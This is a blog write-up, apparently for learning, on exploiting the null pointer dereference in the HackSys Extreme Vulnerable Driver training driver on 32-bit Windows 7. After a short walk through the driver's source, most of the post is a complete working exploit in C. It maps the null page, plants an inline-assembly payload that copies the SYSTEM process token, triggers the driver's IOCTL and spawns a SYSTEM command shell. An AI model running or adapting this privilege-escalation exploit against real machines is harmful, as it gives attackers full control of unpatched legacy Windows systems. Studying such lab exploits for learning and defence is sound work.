Sunday, 16 June 2024

Windows7 x86 null pointer Dereference

 Hello, In the previous post we have exploited the HEVD Arbitrary Write on windows 7 x86. Today, I will be doing the HEVD Null Pointer Dereference vuln . The source code to the bug is here: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/NullPointerDereference.c . There are lot of post on HEVD , I also looked on some of them h0mbre for making my exploit and learning the exploit methodology. 

NOTE: Null pointer dereference was mitigated in windows 8 in both 32 bit and 64 bit machine  .You can look at windows mitigation here  https://github.com/nccgroup/exploit_mitigations/blob/main/windows_mitigations.md . This mitigation killed almost all the null pointer dereference exploits (maybe be possible).

Source Code Analysis

The function TriggerNullPointerDereference takes the userBuffer from the NullPointerDereferenceIoctlHandler  and 
stores it in the Uservalue and compares it with the Magic Value 0xbadobobo  and if they are equal it the function address of NullPointerdereferenceObjectCallback .
typedef struct _NULL_POINTER_DEREFERENCE
{
    ULONG Value;
    FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
 //
        // Get the value from user mode
        //

        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        //
        // Validate the magic value
        //

        if (UserValue == MagicValue)
        {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else
        {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            //
            // Free the allocated Pool chunk
            //

            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            //
            // Set to NULL to avoid dangling pointer
            //

            NullPointerDereference = NULL;
        }

The Bug is in this part of this part of the where it doesn't check whether the NullPointerDereference->callback  is null or not. 
#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        //

        if (NullPointerDereference)
        {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        //
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        //

        NullPointerDereference->Callback();

Mapping NullPage

So, If we send some junk value in the userBuffer , then the compares fail and the NullPointerDereference struct remains NULL and it will be executed then . If we put our TokenStealingPayload at the null address then our payload gets executed . We have to map memory at that address for this we will be NtAllocateVirtualMemory windows API to allocate memory at 0x0 and size of 0x1000(4kb). I used the function created by HackSysTeam . 
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}
One thing to notice here is that we have used the BaseAddress as 0x1 beacuse if it is 0x0 it will allocate address at random address instead of 0x0 and this function round up the value to page address boundary so its get round up to 0x0.

Final Payload

Finally we will add our tokenStealing Payload at NULL address + 0x4 because the function is calling at and offset of 0x4.
#include <Windows.h>
#include <stdio.h>

//device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"

//CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)

//ioctl number
#define NULL_DEREF IOCTL(0x80A)

// NtAllocateVirtualMemory function typedef
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG      ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG      AllocationType,
	IN ULONG      Protect);

NtAllocateVirtualMemory_t     NtAllocateVirtualMemory;

PVOID NullBaseAddress = NULL;
PVOID AddressToBeCalled = NULL;

// Map NULL address
BOOL mapnullpage() 
{
	HMODULE hntdll;
	SIZE_T RegionSize = 0x1000;

	PVOID BaseAddress = (PVOID)0x1;

	hntdll = GetModuleHandle(TEXT("ntdll.dll"));

	if (hntdll)
	{
		NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
		
		if (!NtAllocateVirtualMemory) {
			printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
		}

		BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
			0, &RegionSize,
			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
			PAGE_EXECUTE_READWRITE);

		if (ret) {
			printf("Failed to allocate Virtual Memory \n");
		}
		else {
			printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
			printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
		}

		FreeLibrary(hntdll);
	}
	else {
		printf("[!] Failed to open handle to ntdll.dll\n");
	}

	return TRUE;
}

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

//Token Stealing payload

VOID TokenStealingPayload() {
	__asm {
		pushad									; Save registers state

		; Start of Token Stealing Stub

		xor eax, eax							; Set ZERO
		mov eax, fs: [eax + KTHREAD_OFFSET]		; Get nt!_KPCR.PcrbData.CurrentThread
												; _KTHREAD is located at FS : [0x124]

		mov eax, [eax + EPROCESS_OFFSET]		; Get nt!_KTHREAD.ApcState.Process

		mov ecx, eax							; Copy current process _EPROCESS structure

		mov edx, SYSTEM_PID						; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
			mov eax, [eax + FLINK_OFFSET]		; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx			; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

		mov edx, [eax + TOKEN_OFFSET]			; Get SYSTEM process nt!_EPROCESS.Token
		mov[ecx + TOKEN_OFFSET], edx			; Replace target process nt!_EPROCESS.Token
												; with SYSTEM process nt!_EPROCESS.Token
		; End of Token Stealing Stub

		popad									; Restore registers state	
	}
}


INT main()
{
	//Any Junk value
	ULONG MagicValue = 0xDEADBEEF;

	//open handle to HEVD
	HMODULE h = CreateFileA(HEVD_PATH,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to open handle to HEVD.\n");
	}
	else {
		printf("[+] Handle Opened Successfully\n");
	}

	// Map Null address for shellcode 
	if (!mapnullpage()) {
		printf("[!]Failed to map NULL Address\n");
	}
	else {
		printf("[+] NULL Address mapped Successfully\n");
	}

	// Address that is going to be executed
	AddressToBeCalled = (PVOID)((ULONG)NullBaseAddress + 0x4);

	PVOID EopPayload = &TokenStealingPayload;

	//Adding the function pointer of TokenStealingPayload
	*(PULONG)AddressToBeCalled = (ULONG)EopPayload;


	ULONG BytesReturned;

	//Calling NULL_DEREFERENCE_IOCTL_HANDLER
	BOOL ret = DeviceIoControl(h,
		NULL_DEREF,
		(LPVOID)&MagicValue,
		(DWORD)sizeof(MagicValue)
		, NULL, 0, &BytesReturned, NULL);

	if (ret) {
		printf("[+] IOCTL opened Successfully.\n");
	}
	else {
		printf("[!] Failed to open IOCTL \n");
	}

	printf("[+] Spawning system shell.\n");

	//shell

	system("cmd.exe");

	return EXIT_SUCCESS;
}
We got the System Shell.

Thanks .Peace.